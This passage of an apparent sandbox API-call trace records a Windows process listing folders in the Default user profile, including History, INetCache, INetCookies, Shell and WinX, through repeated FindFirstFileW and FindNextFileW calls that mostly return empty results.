ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.457] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.458] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.458] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.458] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History", lpFilePart=0x0) returned 0x38 [0219.458] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.459] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.459] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.459] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.459] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache", lpFilePart=0x0) returned 0x3a [0219.459] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\inetcache\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.460] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.460] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.461] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.461] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache", lpFilePart=0x0) returned 0x3a [0219.461] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\inetcache\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.461] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.462] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.462] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.462] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x3c [0219.462] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\inetcookies\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.463] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.463] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.463] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.463] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x3c [0219.464] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\inetcookies\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.464] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.464] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.464] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.465] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell", lpFilePart=0x0) returned 0x36 [0219.465] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\shell\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.465] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.465] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18778, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultLayouts.xml", cAlternateFileName="DEFAUL~1.XML")) returned 1 [0219.465] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.465] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.466] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell", lpFilePart=0x0) returned 0x36 [0219.466] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\shell\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.466] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.466] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18778, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultLayouts.xml", cAlternateFileName="DEFAUL~1.XML")) returned 1 [0219.466] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18778, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultLayouts.xml", cAlternateFileName="DEFAUL~1.XML")) returned 0 [0219.467] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.467] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", lpFilePart=0x0) returned 0x49 [0219.467] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c850) returned 1 [0219.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.469] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", lpFilePart=0x0) returned 0x49 [0219.470] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c850) returned 1 [0219.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.472] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x35 [0219.472] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.473] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.473] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686326, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0219.473] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0219.473] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0219.474] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 0 [0219.474] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.474] GetFullPathNameW (in: 